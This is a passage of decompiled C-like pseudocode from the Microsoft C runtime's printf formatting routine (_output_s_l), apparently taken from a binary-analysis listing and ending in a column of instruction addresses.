																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004283F0(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x440374; // 0xab8ad97d
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x440380; // 0x2b8ac62f
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0x2b8ac616
																							E00424750(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004283F0(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428430(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
																			__eax = E00433FA0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E410();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
																				__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEB0(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E004283F0(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E410();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422F00(_t543))) = 0x16;
																E00422C90(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041AEB0(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BD50(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E410();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041AEB0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00422F00(_t530))) = 0x16;
															E00422C90(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041AEB0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E004308A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x00435034
0x00435034
0x00435034
0x00435034
0x00435034
0x00435034
0x00435034
0x0043503b
0x0043503b
0x0043503b
0x00435051
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00435178
0x00435178
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x0043518c
0x00435192
0x00435194
